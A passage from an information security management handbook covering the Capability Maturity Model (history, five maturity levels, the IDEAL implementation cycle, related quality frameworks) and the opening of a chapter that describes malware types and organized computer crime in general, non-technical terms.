car or a book, the various services delivered by the average IT department can be difficult to measure from a quality perspective. One common measure is to survey customers and gauge their satisfaction; however, this approach provides only a partial answer. Just because customers are satisfied it is not safe to assume that all services are running as expected. It may be that the customers have not noticed small service interruptions, at least not yet. Also, it is important for organizations to deliver services that customers have requested, but some organizations provide more than is needed and incur unnecessary costs in the process. For example, an IT department may provide DS3 circuits to offices and not realize that simple 256K frame relay lines at a fraction of the cost would be sufficient. Because the customers are satisfied with the performance of their applications with DS3 circuits in place it is easy to argue that the quality of the service is high. At the same time, it is clear to all that resources are not being used efficiently. Many models have been developed to attack this problem. This is not unusual in a young discipline or industry. In the early years of the automobile, various devices were used to steer the vehicles. It was actually several years before the steering wheel emerged as the dominant solution to steering. In many ways, the IT community has searched for the correct steering wheel for IT quality for over 40 years. Some models view IT as a manufacturing organization. IT takes raw material (hardware, software, and people) and generates data. In the right hands, that data becomes useful information to the organization. This view was common in the early years of IT, but over time it has become less useful. This is partly because the rate of change has increased to the point where IT does not resemble a static manufacturing environment as much as it did in the 1960s. A more popular view now is to view IT as a service provider. Customers do not generally care what happens behind the scenes as long as the requested service functions reliably. This requires a broader view of IT than just that of a producer of data. In addition to producing data, myriad additional requirements define acceptable service delivery. These requirements include response time, mode of delivery (client based? host based? Web interfaces? downloads to PDAs?), assurance of privacy, data integrity, and frequency of updates. A common analogy used is that of an ice cream shop. Originally, customers wanted some basic flavor choices. Over time, customers became accustomed to having a choice of cones or sundaes. Ice cream customers now expect a large number of choices, a selection of toppings, a freezer with ice cream cakes, a water fountain with cups for the water, a short line for ordering, and various fountain drinks as well. The modern ice cream shop provides a service, and the service requested by each customer is different in a tangible way from that of almost every other customer. The modern IT organization also has a large number of customers with very distinct requirements and expectations. To provide reliable services, IT must carefully define the services required, develop and test the services prior to moving them into production, and be able to monitor the delivery of the service in addition to the changing needs of the customers. Although IT is a new discipline, it has principles and goals similar to other management disciplines. A human resources department, for example, should be managed in a way that provides the needed services to current, future, and past employees and their families in a cost-efficient manner. Such a department must have clear policies about vacation approvals, salary adjustments, and handling grievances, among other things. Not having consistent policies invites unhappy customers and the potential for lawsuits. In the same way, an IT department must have consistent policies and processes to design, deploy, and operate IT services efficiently. Inefficient processes lead to costs that could have been avoided and unhappy customers. Security is an attribute of IT services that customers are becoming more concerned about. Customers will not tolerate poor performance when it comes to security. This is ironic, because the IT security challenges facing organizations today are more complex than ever before and require diligent, complex solutions. Most new endeavors begin with no defined “best practice” for doing things. Long-time information security practitioners know what it is like to meet a new challenge without an appropriate manual. When the Internet first began to be widely adopted in the early 1990s, no written guidelines for network security
Software Engineering Institute Capability Maturity Model
327
existed. Computer security experts were focused on securing the data centers, ensuring that only authorized users had log-ins, and giving those with log-ins the minimum necessary access to the system. The concept of opening ports on a host or of monitoring ports to deny access only from permitted IP addresses took time to emerge. At first this was done using tools such as tcp wrappers because firewalls did not yet exist. Likewise, information security practitioners know that best practices will evolve. Just as principles such as “close all unnecessary ports” emerged, principles for developing reliable processes and for measuring them have emerged in IT. As soon as best practices are recognized within an industry it is a good idea to adopt them and formalize how they are used within the organization. Over the past decade, many software engineering organizations have adopted CMM to move toward best practices in software development and to measure their progress. The old saying “If you can measure it, you can manage it” is appropriate in IT. Early IT metrics resembled traditional manufacturing metrics. The number of reports developed and delivered and even the lines of code written and tested per week or month are examples of common early metrics. Clearly, in an era of object-based programming it is difficult to measure lines of code. If a programmer continually reuses previously tested software modules to deliver high-quality, secure software does it matter that the programmer only wrote 500 lines of code in a month? More useful measures now include how many service interruptions were related to software flaws and how many security breaches originated within internally developed software as opposed to commercially purchased software. Clearly, IT has many challenges as it strives to provide secure, high-quality services to customers. The challenges exist on several fronts: requirements definition, service measurement, monitoring and securing network resources, and being both reliable and flexible in everything it does. Much progress has been made, and the remainder of this chapter will talk about the contribution of CMM to the challenges in software engineering.
CMM History Software Quality As a key piece of the rapidly evolving discipline called IT management, software quality is a big concern. An organization can lose money if software is not ready when it is expected to be ready. Many things can cause software to be delayed. For example, the requirements may change after significant coding has been done; often this is not the result of the customer changing the requirements but rather is caused by imperfect understanding between the developers and the customers. Software delays occur if sufficient time is not allocated for testing. Many organizations face the choice of either delaying the release of software to fix a bug or releasing the software with bugs and later releasing an update to incorporate needed fixes. Delayed software can also mean that older applications must remain in service longer than planned. This causes additional costs in maintaining service contracts for old software and hardware and can lead to disappointed customers. In addition, organizations sometimes decide to delay patching security holes or bugs in current production systems because they know that a replacement system will soon be ready. A delayed replacement system prolongs the exposure to the organization. It is reasonable to ask why any organization would tolerate having security holes in production systems. Although it is always good to fix vulnerabilities as soon as they are found, sometimes the situation is not so simple. Imagine a large wireless phone company with cell sites throughout North America. What should this company do if one model of switch from one of its providers is found to have a security hole? The switch may be in service at 5000 cell sites, and the manufacturer has a plan to eliminate the vulnerability in the next release of software. In such a situation, it is not realistic for the wireless company to turn off the switches. Replacing the switches with products from another vendor would be very expensive and could take much longer than waiting for the next release of software from the current vendor. This challenge shows the difficult position in which software customers and vendors can find themselves. Further, it shows why it is so important for software engineering processes to be as reliable as possible.
328
Information Security Management Handbook
An organization can lose money if software has bugs. Customers have low tolerance for software that does not perform as promised and will look for other solutions. In the example about the wireless switches with a security hole, it was not feasible to find another solution quickly. Still, one day the time will come to decide whether to keep the current vendor or move to another vendor. When that day comes, the customer executives will remember every security vulnerability that they were forced to endure because of flawed vendor software. In addition, the cost of rework (fixing things that were not done right the first time) eats into software engineering resources that could be engaged in other productive activities. Increasingly, an organization can lose money if software has security holes. Many security holes are found only after the software is released to customers. When a security vulnerability is found in software, the organization must quickly act to assess the threat and potential impact to users. The organization must divert resources as quickly as possible to close the security hole in the software and help all those using the software to patch the hole. It is easy to see that additional effort made in the software development process that can eliminate such defects before release of the software can easily pay for itself. The software quality challenge is a combination of the manufacturing analogy and the services analogy. Like the earlier ice cream shop example, software engineering is custom manufacturing — every software development project is unique. At the same time, a product is still being produced and the production process has identifiable steps. Customers define what they want. This is true even of large, shrink-wrapped applications. The software maker consults customers and gathers requirements. When development begins, it is critical that the requirements only be changed if evidence suggests that the customers will embrace the proposed changes. The process used to develop software must be measurable and it must be possible to gauge the suitability of the software for use by customers as it gets closer to release. Over time, the process must operate consistently, with substandard software being caught before it is released and acceptable software not being delayed without justification. The end result for the customer is very much like a service. The customer may want an accounting package for preparing tax forms accurately and quickly. For this to occur, the software must perform as expected and not do anything unexpected (such as share financial information with someone who attempts to access the application from the Internet). The challenge is to anticipate not only how the software should be used but also how it might be misused and to build in safeguards against misuse. Just as ISO 9000 brings certainty to manufacturing processes, software development processes require a similar model to ensure quality in software products.
Approaches to Measuring Software Quality The quality of software can be improved in many ways. All of the approaches have value, but all will be limited in their effectiveness if they are not approached in a consistent and structured manner. Some of these approaches include: • Code review — Code review involves enlisting programmers not familiar with a section of code to try to find errors in the code. This can be difficult when large applications are involved. In addition, some organizations have too few resources to permit taking programmers away from day-to-day duties to review a coworker’s code in detail. • Internal testing Requirements-based testing involves developing a test plan based on the software requirements agreed on at the start of development. The software is tested to ensure that all inputs generate the expected outputs. It is important to remember that this includes valid inputs as well as invalid inputs. Many security holes are exploited by providing unexpected input. Unit testing is used on pieces of the larger application to ensure that problems in individual pieces are eliminated in a small part of the application rather than attempting to debug an entire application. When all the components have passed unit testing, it is possible to test the application as a whole.
Software Engineering Institute Capability Maturity Model
329
Regression testing involves running a set of test inputs repeatedly as development progresses. The goal is to ensure that the application generates the same output today that it generated yesterday for a given set of inputs. Load testing adds more users (or load) to the application to see at what point it breaks or how its performance is impacted. The users that generate the load are usually transactions created by a software testing program that simulates heavy use. • Beta testing — Beta testing begins when the application is very close to release. Many organizations solicit feedback from eventual customers in the hope that they will discover problems that even the most rigorous testing missed. This is popular because the testing methods above are expensive. It is often less expensive to allow a large number of existing customers that already use an organization’s products to be beta testers for a new product. Of course, if the beta testers find many bugs the result can be embarrassment. Even worse, there is no guarantee that all security flaws discovered will actually be reported. • Open source — More organizations are moving to open source models for their software. This is similar to code review because everyone can see the code, but it differs dramatically from code review in that outsiders (competitors, potential hackers, etc.) are able to use the application and can search it for opportunities to exploit security vulnerabilities. Is it wise to let the bad guys see the code? The theory of open source advocates is that the vast majority of people reviewing code are trustworthy and ethical, and they will find all the security vulnerabilities and alert the developer before any unethical reviewers have a chance to exploit them. Many readers will recognize this question as a variation on the well-known “Cathedral and the Bazaar” debate.
How CMM Was Developed The U.S. Department of Defense (DOD) became concerned over a period of years with the quality of the software it received from contractors. Cost overruns were frequent, and the software often did not perform as expected. As the systems the DOD deployed (e.g., radar, targeting) became more dependent on reliable software, it became important to lower the risk associated with software development. No viable methodology existed to provide software assurance. As mentioned earlier, in the rapidly evolving fields of IT management and software development it was not yet clear what the best methodology should look like. The solution was to create the Software Engineering Institute (SEI) at Carnegie Mellon University in Pittsburgh. Many readers are familiar with the CERT (Computer Emergency Response Team), which is also part of SEI. SEI is a federally funded research and development center that Carnegie Mellon operates. It develops standards, models, frameworks, processes, and architectures to help its customers make improvements in their software engineering efforts. From the start, a number of objectives were considered critical to helping customers improve software engineering efforts. One of these objectives was to provide best practice processes for software development. Unfortunately, it is not enough to say, “Here is a best practice. Go do this.” For example, one best practice is to test software. It is important to specify what is meant by testing software. Examples might include: • Developing specific test criteria and test input data • Reviewing the test criteria and test input data with the customer to obtain the customer’s endorsement • Defining the methodology for each test and determining how the test results are to be captured • Having the test plan reviewed by software engineers outside the project prior to testing (peer review) • Defining a process for changing the test plan for changes in requirements By defining such criteria for every process it becomes possible to evaluate whether each is sufficiently developed. Reviewers can measure the process at several different points to show what parts of the process require improvement. In addition, such specific definitions help reduce the risk of misunderstandings among those participating in the process.
330
Information Security Management Handbook
It was understood that CMM must include a way to measure the maturity of the processes. Many organizations implement processes but are unsure of how well they are working because they do not have objective measurements to gauge whether the processes are operating as designed. CMM provides both the means to improve software development processes and the method for measuring how effective those processes are.
Capability Maturity Model Integration Since the inception of CMM in 1986, the CMM concept has been applied to several areas outside of the original software engineering discipline. Some of these include product development, software acquisition, and workforce management. These applications of the CMM concept led to several similar models that were not developed with regard to how a single organization could successfully make use of more than one of them at the same time. For example, some models overlapped in their scope — an organization that was trying to implement SW-CMM might find that tasks required to reside in one process to reach level 3 were already in another process because of SECM requirements. To address this, the CMM Integration (CMMI) project was created. The goal was to integrate three of the most commonly used CMM models: • CMM for Software (SW-CMM) v2.0 draft C • Systems Engineering Capability Model (SECM) • Integrated Product Development CMM (IPD-CMM) v0.98
By integrating these three models into one framework it would be possible for large organizations to undertake more successful enterprisewide improvement initiatives. The CMMI project created new models that are similar to the original ones but that now include integration points between the different models. In addition, the models can be adopted by organizations that had originally adopted the source models. One final integration point relates to assessment methods. As CMM models proliferated so did methods for assessing them. CMMI now has a unified assessment methodology known as the Standard CMM Assessment Model for Process Improvement (SCAMPI). Any organization authorized by SEI to conduct CMM-based assessments now uses the SCAMPI method.
Software Quality and Security Software with security holes can scare away customers. If a company’s software is not secure, the competition will make sure everyone knows about it. Customers never talk about the software they bought that had no security issues, but customers do talk long and loud about the software they bought that had security issues. Software with security holes can compromise an organization’s data. Hackers can access or alter data without anyone knowing. One organization had a hole in its home-grown payroll system that allowed a programmer to manipulate pay rates. For years, this programmer manipulated his own pay rate by raising it just before payroll was run and then moving it back to its proper level after the checks were printed. The organization may make business decisions based on unreliable data. Manipulation of data could cause a company to move forward with a product that is doomed to failure or pursue an acquisition that would not be in the best interests of shareholders. Pharmacists dispense drugs in accordance with physician instruction as long as the dosages fall within the guidelines for a drug. If the dosage levels for a particular drug have been modified a pharmacist might not know to question a prescription with a dangerously high dosage. Other examples could include: • Giving a car loan to someone who does not deserve credit • Altered medical test results having life-threatening consequences • Permitting a potential terrorist into the country if a watch list database is compromised Without consistent, rigorous processes in place for ensuring software quality, it is impossible to know that software does not have hidden security vulnerabilities.
Software Engineering Institute Capability Maturity Model
331
CMM Ratings
Level 5: Optimizing Level 4: Quantitatively Managed Level 3: Defined
Level 2: Repeatable
Level 1: Initial
Like climbing a mountain, most organizations start at level 1 and must make a concerted effort to reach each successive CMM level.
FIGURE 26.1 CMM ratings.
Measuring with the Capability Maturity Model Process maturity under CMM is rated on a scale of 1 to 5. The rating is based on how well certain key processes areas are functioning. Additional key process areas are considered at each successive level. To reach level 4, for example, all the process areas at lower levels must receive a passing grade as well as the level 4 process areas. Every key process area is evaluated against the same criteria: • Commitment to perform — The actions taken by the organization to show that it is serious about this process; policies and directives from upper management are typical evidence of commitment to perform. • Ability to perform — The resources and organization required to actual execute the process; training, resources with responsibility and authority to act, and sufficient funding help demonstrate the ability to perform. • Activities performed — The specific activities, procedures, roles, responsibilities, and plans that show the details of the process actually are performed. • Measurement and Analysis — The essential measurements required to track and control the process. • Implementation verification — The reviews and audits used to ensure that the process activities are performed in accordance with how the process is defined. Note that CMM does not specify how processes are performed. It merely requires that the processes be performed effectively and that it be possible, using the key process area criteria, to demonstrate that they are in fact performed (see Figure 26.1). In addition, CMM does not require specific products or tools; a process can be effective without automation.
332
Information Security Management Handbook
Initial Level (Level 1) This level is referred to as ad hoc because few stable processes exist or, if they do, they exist only on paper and are not followed on a consistent basis. Success depends on individual initiative, and most activities are reactive rather than proactive. Other characteristics of this level include: • Relationships between different groups and functional areas are undefined and poorly coordinated. In fact, relationships may even be antagonistic because of confusion about where one group’s responsibilities end and another group’s responsibilities begin. • The process is not repeatable but happens in a different manner every time. Each actor does as he or she thinks best. • Much duplication of effort occurs because activities are poorly documented. Group 1 will not know that group 2 already generates a certain report and will develop its own report format and generate the same information. • Projects are frequently late or unsuccessful. This is true even if the organization makes a significant commitment to good project management. Why do level 1 organizations still fail at projects then? They fail because the resources that are allocated to new projects are often pulled from the project with little or no notice to react to crises that interrupt ongoing operations. • Management has little or no visibility into what is functioning and what is not functioning because few reliable reports are generated. Reports that are generated are generated manually and may not be generated in the same way each time, making trend analysis difficult. Amazingly, many organizations do manage to function in this chaotic state. They function inefficiently and have a low level of customer satisfaction. No service organization can operate in such an unpredictable manner and expect to be successful. In short, this is no way to run an ice cream store. This level has no key activities; if an organization is not able to meet the criteria for passing the next level (repeatable), then their CMM rating is 1 (initial). Repeatable Level (Level 2) At this level the organization has a recognizable process. The organization is capable of basic planning and knows what the most important activities are to be successful. Other attributes of a level 2 process include: • Individuals are still the key to success but there is now some management direction. • Problems are not anticipated, but the organization does recognize them as they occur and does correct them. • People receive training to perform their jobs. This does not mean that the organization has a training plan or that the success of the training is measured, but training does occur. • Projects have a better chance of success at this level because project resources are not nearly as interrupt driven. • Reports and data are generated in a predictable manner, but the organization lacks large-scale coordination of reporting and metrics are selected by individual functional groups. Many organizations that operate at this level did not reach this level through any process improvement initiative but rather by a natural process. To operate at this level an organization must at least attempt to: • • • •
Scope the effort required for software projects. Procure the resources required. Track the progress of the project. Evaluate whether the finished product meets the original requirements
It is still difficult to measure how successful or efficient the organization is at this level because consistent metrics are not collected from each group. The members of each group or project may know how their project is doing but it is not possible to have broad visibility into the overall effectiveness of the organization.
Software Engineering Institute Capability Maturity Model
333
Key Activities • Requirements management • Software project planning • Software project tracking and auditing • Software subcontract management • Software quality assurance • Software configuration management Defined Level (Level 3) Reaching this level requires significant effort on the part of the organization. Processes between different functional areas must be integrated, with defined inputs and outputs. Other signs of an organization operating at the defined level include: • Problems are anticipated and corrected before they occur, or at the very least actions are taken to minimize their impact. • Cross-functional process groups work together as teams. The organization no longer relies on individual contributions without direction and goals. • Training is planned and provided to people based on the roles they play in the organization. • Projects are planned not as individual efforts but as part of a portfolio of projects, and the conflicting needs of different projects are mediated before they become a problem. • Every process has metrics that are collected and reported. Data generated in each project is systematically shared throughout the organization. • Defined standards exist for people, process, and technology. Organizations at the defined level eliminate much unnecessary uncertainty from each process. This is because for every process: • At each step clear guidelines exist for what to do and how to do it. • The purpose of each step is defined. • Inputs and outputs are defined. For many organizations, the effort required to reach this level pays huge dividends. Still, the effort is not to be underestimated. To reach this level, the organization must evaluate everything it does. The effort requires reviewing how each part of the organization does any given task and choosing the best way to do it. The benefits of this level of process maturity include: • With all groups following written guidelines, it is easier to move resources from one group to another. • Misunderstandings and rework are reduced, as each group knows what is within its scope and can learn which group has responsibility for activities outside its scope. • It is easier to troubleshoot issues that cross functional boundaries because everyone knows how the other group does its tasks. • Everyone can recognize a variance because it is no longer acceptable to say, “Our group does it differently.” Key Activities • Organization process focus • Organization process definition • Training program • Integrated software management • Software product engineering • Intergroup coordination • Peer reviews
334
Information Security Management Handbook
Quantitatively Managed (Level 4) At this level, processes are not only defined but are actively measured and managed. To do this, the organization must develop a plan for quantitative process management for each process. Each plan must be developed following a documented procedure. Each plan will include measurable goals, and progress toward those goals is tracked. Attributes of a process at this level include: • In addition to being defined and followed, processes are stable and the organization understands what is required to keep each process stable. • Each project team has a strong commitment to working together. Not only are individual heroics unnecessary but such heroics are also discouraged. • A methodology exists for evaluating new initiatives and technologies. The methodology allows the organization to assess whether a new initiative conforms to defined standards, as at the defined level, and compels the organization to use objective measures in deciding whether the initiative provides enough potential benefit to be pursued. • Specific targets are assigned for quality. At this level, the process is understood well enough to forecast the quality of the software that should be delivered by the process. • Specific targets are assigned for process performance. This is a key distinction. Process performance measures whether the process is being used as designed. It is difficult to reach the quality targets if the process performance targets are not being reached. Key Activities • Quantitative process management • Software quality management Optimizing (Level 5) At the optimizing level, the organization has a formal program for software process improvement. This program maintains goals for software processes and reviews progress against those goals. In addition, a plan is in place for training related to the software improvement program. This plan tracks training progress and ensures that everyone in the organization understands the software process improvement program and is capable of participating in it. Software process improvements resulting from this program are implemented according to a documented procedure and are always first implemented in pilot form. Records of all process improvement activities are maintained. Key Activities • Defect prevention • Technology change management • Process change management Any organization can self-assess using CMM appraisal criteria; however, in order for an evaluation to be considered valid, the evaluation must be performed by a licensed CMM evaluator. SEI licenses evaluators that have a demonstrated ability to perform quality evaluations that conform to the CMM appraisal criteria.
Implementing the Capability Maturity Model An approach to CMM implementation recommended by SEI is known as IDEAL. IDEAL stands for: • • • • •
Software Engineering Institute Capability Maturity Model
Diagnose
Establish Initiate
Leverage
Act
CMM is a program with no endpoint. As soon as one cycle of improvement is complete, the results feed into the next cycle.
FIGURE 26.2 Implementing CMM.
An organization implementing CMM will follow this five-step approach continuously (see Figure 26.2). As soon as the leveraging step is complete, a new initiation phase begins. Over time, processes become more predictable and stable and the benefits increase.
Initiating This is the first step, usually prompted by some need for improvement. The need may be a desire to improve the predictability and efficiency of software development processes. The need may also arise from a desire to be qualified to do business with certain customers. Increasingly, customers (such as the DOD) require that software providers be certified at CMM level 2 or higher. Successful implementation of CMM requires a long-term commitment from an organization. Invariably, additional processes and checkpoints will be required, and some departments may see the scope of their work change. For these reasons, it is essential to get sponsorship from the highest levels of the organization before beginning to implement CMM.
Diagnosing Diagnosis is accomplished by performing a software process assessment. This assessment determines the current state of an organization’s process maturity (e.g., initial, repeatable) and prioritizes the issues that must be addressed to reach higher levels of process maturity. Another type of appraisal is a software capability evaluation. This is used by a customer to establish whether a potential vendor is at a maturity level sufficient to perform work for that customer. Such an evaluation may occur during the bidding process to validate process maturity, and it may also occur periodically during the life of a contract to ensure that the vendor continues to maintain a commitment to CMM after the contract is awarded and work has begun. An assessment or evaluation will follow the following broad steps: • Select the team, ensuring that the team receives any needed training in CMM. • Administer a maturity questionnaire. This can be done via e-mail and is completed by key members of the organization being assessed. • Analyze maturity questionnaire responses to understand what level of maturity the key members believe their processes are at.
336
Information Security Management Handbook
• Visit the organization in person to validate responses received. The on-site visit includes interviews and observation. The goal is to establish that the processes are operating as key members believed them to be operating. Professional experience and judgment are important in this step. • Develop findings based on the data gathered. The findings review process areas and highlight strengths and weaknesses in each area. If this is an evaluation of a potential vendor, the findings form the basis for a risk analysis of the vendor. • Produce a key process area profile, which shows whether each area is functioning at or above the desired level. It is important to note that a process area can have issues that require addressing but may still be functioning well enough to be at the desired level. For this reason, it is always important to look beyond the key process area profile and review the detailed findings for each area. An assessment or evaluation is valuable to those concerned about information security. An organization that has been evaluated at level 4 is going to produce software with fewer vulnerabilities than an organization at level 1.
Establishing When the current maturity levels are known and issues are identified, it is possible to develop a strategy for addressing issues and improving overall maturity. Actions are prioritized and planned, and an action team is created for each action.
Acting For each action, the necessary processes and measures are developed and then deployed in pilot settings and reviewed for needed refinements. When they are ready for broader usage they are implemented.
Leveraging When all action plans are implemented, the results are measured and analyzed, and lessons learned are collected. The output from this step feeds into a new round of initiating and diagnosis.
Choosing the Target Maturity Level Every organization does not have to reach the optimizing level. The organization must evaluate the benefits and costs associated with each level and allocate a reasonable amount of time to reach the target level. Examples of the commitment required and the benefits realized include: • A software engineering division at Hughes Aircraft spent 4 years moving from level 2 to level 3. The estimated cost of CMM-related process improvement efforts was $445,000. The estimated improvement was a $2-million-per-year reduction in cost overruns. • Raytheon spent 3 years moving from level 1 to level 3 at a cost of $1 million per year. As a result, they received two large contracts that they would not have otherwise received and reduced rework by $15.8 million per year. It is worth noting that these organizations realized the benefits listed without moving above level 3!
Other Quality Improvement Models Total Quality Management Total Quality Management (TQM) is a broader approach to quality throughout the organization. It is based largely on work done by W. Edwards Deming related to statistical quality control. Deming demonstrated that it is possible to measure the expected output of a process and focus on all those results
Software Engineering Institute Capability Maturity Model
337
that fall outside of the expected range. CMM and TQM often coexist within an organization; in fact, CMM can be said to be a software-focused application of TQM principles.
Six Sigma Six Sigma was originally developed by Motorola Corporation as a statistics-based methodology for finding and eliminating the causes of defects in manufacturing. It is similar to TQM. Many organizations, large and small, use Six Sigma principles to improve manufacturing and other processes. The name comes from the statistical term used to measure standard deviations — the Greek letter sigma. Six Sigma means six standard deviations, or in simpler terms, 3.4 defects per million iterations of a given process. The methodology is based on DMAIC, which stands for: • • • • •
Define the opportunity. Measure performance. Analyze the opportunity. Improve performance. Control performance.
Six Sigma is primarily used to improve manufacturing quality. It is difficult to apply Six Sigma to software development because the sample sizes used in Six Sigma will often not be large enough in a software development environment. Still, many of the principles are the same: Measure the output of the process and look at variations for clues to how to improve the process
ISO 9001 ISO 9001 is part of the ISO 9000 family of quality standards. ISO 9001 applies to manufacturing as well as to software. In general, CMM is more comprehensive than ISO. Some have attempted to map ISO 9001 standards to CMM to see where an ISO 9001-certified software engineering organization would fall on the CMM rating scale. Mark Paulk, in a 1994 paper for SEI, found that such an organization would fulfill most but not all of the CMM level 2 requirements and a few of the level 3 requirements.
ITIL An acronym for Information Technology Infrastructure Library, ITIL was developed by the British government. Dissatisfied with the results of many IT initiatives, the British Government’s Office of Government Commerce (OGC) began collecting best practices in IT management and organized them into a coherent framework. As with other quality improvement initiatives, the goal was to lower risk and improve the return on investments in IT. The framework attempts to keep the focus of all IT activity on delivering the services that are needed by customers. Delivering more than customers want can lead to unnecessary investment, and delivering less can hurt customer productivity and eventually mean the loss of customers. For example, if a company has been hired to provide a PC help desk function from 7 a.m. to 6 p.m., Monday to Friday, it is not wise for it to staff the help desk on Saturday or Sunday, but it is important to ensure that sufficient staff are always available during the contracted service hours of 7 a.m. to 6 p.m. on the other five days of the week. The core of ITIL is organized into ten process areas and one functional area, the service desk. These areas are subdivided into two process clusters: service delivery and service support. Service delivery focuses on processes related to developing a service. The service delivery processes are: • • • • •
Service support focuses on processes related to supporting a service when it has been put into production and is being used by customers. The service support processes are: • • • • •
Change management Configuration management Incident management Problem management Release management
Summary The Capability Maturity Model is a valuable tool in the effort to develop efficient and effective processes in software engineering. Although effective processes eliminate rework and save money, they also help to eliminate vulnerabilities in software. The effort is substantial but organizations that have diligently followed CMM over an extended period of time have achieved impressive results. By committing to CMM an organization demonstrates that it is serious about delivering quality products to its customers.
References Carnegie Mellon University Software Engineering Institute. 1995. The Capability Maturity Model: Guidelines for Improving the Software Process. Indianapolis, IN: Pearson Education. Chrissis, M. B., M. Konrad, and S. Shrum. 2003. CMMI: Guidelines for Process Integration and Product Improvement. Boston, MA: Pearson Education.
27 Organized Crime and Malware Michael Pike
Introduction The stereotypical image of the malware author is a loner, a teenager outside of normal society, locked inside a bedroom with only a computer and a modem for company. Although this clichéd image has never been entirely true, the reality is moving further and further away from this. Malware authors are increasingly organized, work in groups, and are finding customers — organized criminals — willing to buy their products. This chapter looks at common forms of malware and how malware authors are merging into the world of organized crime. It is written mainly from an information technology security perspective, not from a criminologist’s point of view; however, relevant information from law enforcement organizations is included.
What Is Malware? Malware is malicious software that is installed on a computer system, often without the participation or knowledge of the system owner. The most common example is a virus.
What Is Organized Crime? Organized crime is an illegal activity committed by one or more people and assisted by specialized criminals as necessary. Sometimes the organization has a hierarchy of management, and the illegal activities are usually planned in advance.
The Evolution of Malware From the first virus to the latest blended threat, malware writers have constantly adapted to exploit new technology — and its vulnerabilities. Starting with the simplest (although not necessarily in chronological order), following are descriptions of common malware types.
Logic Bombs Logic bombs can be likened to a time bomb; they are set to trigger at a preset time or upon a predetermined event. One example is a disgruntled employee who is leaving an organization and sets a logic bomb to delete vital data after he has left. Other plausible scenarios exist, such as industrial espionage. Their use in organized crime is fairly limited, and if a logic bomb is found there are often bigger issues to worry about.
339
340
Information Security Management Handbook
Trojans Trojans differ from logic bombs in that Trojans are introduced to the computer system — albeit unwittingly — by someone with legitimate access. They are usually written with malicious intent in mind but conceal themselves (e.g., inside an apparently useful program) in order to trick the user into running them. Numerous examples exist of password-stealing Trojans being e-mailed to potential victims, in conjunction with some kind of con trick to persuade them to run it.
Traditional Viruses and Worms Viruses are really a development of Trojans. Rather than target a specific system, viruses are designed to spread effortlessly from system to system. Although they are capable of inflicting serious damage on systems or data, the main aim is to infect as large a number of systems as possible. Worms go one step further by spreading automatically from system to system. The main aim is to infect a large number of systems as quickly as possible. Some viruses and worms open back doors — a secret access method to a PC that is hidden to the user. Hackers can use this to gain control of someone else’s PC and use it to launch attacks, thus shifting suspicion to an innocent party.
Organized Crime Historically, malware was written by individuals or small groups wishing to gain notoriety for their work or see their malware being detected by commercial anti-virus products (the equivalent of Hollywood’s “seeing your name in lights”). Malware was not really a popular tool for true organized criminals. More recently, a malware-writing community has evolved. It used to be that malware authors worked on their own and had limited collaboration with other malware authors through on-line discussions. Today, groups of people work collectively on malware, and press reports suggest that the desire for notoriety is leading rival malware gangs to compete against each other. But, other people — organized criminals — can see uses for malware. As more businesses go online, the criminals who target businesses are forced to follow suit. The organized criminals may not know exactly how malware works, but they know that it can assist their cause. If they need technical help, they will inevitably find someone who will help, for the right price.
Trends in Organized Computer Crime Organized computer crime is still in its infancy. People who are highly skilled in organized crime do not tend to be highly skilled in computer technology, but criminal gangs are beginning to bring in outside help — just as any other organization would outsource work that is not part of their core business. Organized criminals are smart, and crime bosses are keen to exploit new technology. In the past couple of years, this has led to a number of extortion attempts against high-profile online companies. Criminals hire specialists who have the knowledge and power to launch denial-of-service attacks against such sites. Even so, malware is a fairly new tool for organized criminals. Crimes using the technology are still emerging; consequently, it is difficult to find reliable statistics that demonstrate the level of threat. Some idea of the potential threat, however, can be gained by looking at related areas, bearing in mind that individuals responsible for these crimes are increasingly beginning to join forces: • In 2004, U.K. businesses lost an estimated £2.4 billion to high-tech crime, according to a survey commissioned by the United Kingdom’s National High-Tech Crime Unit (NHTCU). • Almost nine out of ten U.K. businesses suffered some kind of high-tech crime in 2004. • Law enforcement agencies across the world seem to be struggling to stem the tide. In 2004, the NHTCU had a budget of just £9.3 million to tackle cybercrime throughout the United Kingdom.
Organized Crime and Malware
341
It is difficult to say what this means for the future, but some theories are discussed at the end of this chapter. In the next few sections, the common building blocks of computer crime are examined, as well as the people behind them.
Types of Computer Crime What are the basic types of computer crime? At the most generic level, the two most prominent categories are general unauthorized use and fraud (which goes one step beyond unauthorized use).
Unauthorized Use It is tempting to think of unauthorized use simply as something done by hackers trying to break into a company’s system; however, it could just as well involve a home machine that has been compromised or company employees using the system in a way that they are not supposed to. Also, a person does not have to be successful at stealing data to be classified as an unauthorized user. Denial of service (DoS) attacks attempt to slow down or stop access to a particular system. Historical uses of DoS have included extortion attempts, mindless vandalism, and no doubt industrial espionage. It usually is not necessary to gain user access to the victim’s system to launch a DoS attack, but, if user access is gained, then one of two things can result: • Stolen information. This could include credit card information that has a value on the general black market or customer and product information that could be sold to a competitor. • Malicious damage. Even with backup tapes, something like having a customer database deleted by an attacker (or, worse, modified with incorrect information) can have a major financial impact on a company.
Fraud The other major category of computer crime is fraud. Financial fraud can take a number of forms. One unusual example is the attacker who gained access to the systems belonging to an online casino and modified the software so players always won. Identity theft involves impersonating others to use their status. The criminal can pretend to be someone else in order to obtain Social Security payments or welfare grants, credit cards, loans, or driver’s licenses. Companies are being targeted, too, with goods being ordered in the company name and sold by the criminals; this is an increasing problem. Victims are left to explain the debt run up in their names and, worse, trying to prove that they are themselves and not the imposters! Account takeover involves a criminal gaining control of the victim’s bank account, credit card data, or similar and using it. This is different from phishing, which is just the capture of the details, and is different from identity theft, which involves using someone’s status rather than just their account information. In practice, computer crime often crosses into more than one of these areas. This can complicate legal action taken against the perpetrators, because fraud, deception, computer misuse, and theft are sometimes covered by separate laws (depending on the jurisdiction). Computer crime also often crosses boundaries; for example, many phishing attacks in the United Kingdom in 2005 have been blamed on attackers in Brazil. Likewise, in 2004, the increasing spam problem was blamed on compromised systems in China. Law enforcement is at a disadvantage here, as obtaining the cooperation of an overseas police force can take six months or more; however, law enforcement groups are beginning to build better working relationships with each other and use global businesses as the communication link in some cases.
Types of Criminals Now that we have reviewed the types of computer crimes, we will not take a look at the type of people who perpetrate them. The following discussion shows how organized criminals differ from other kinds of criminals.
342
Information Security Management Handbook
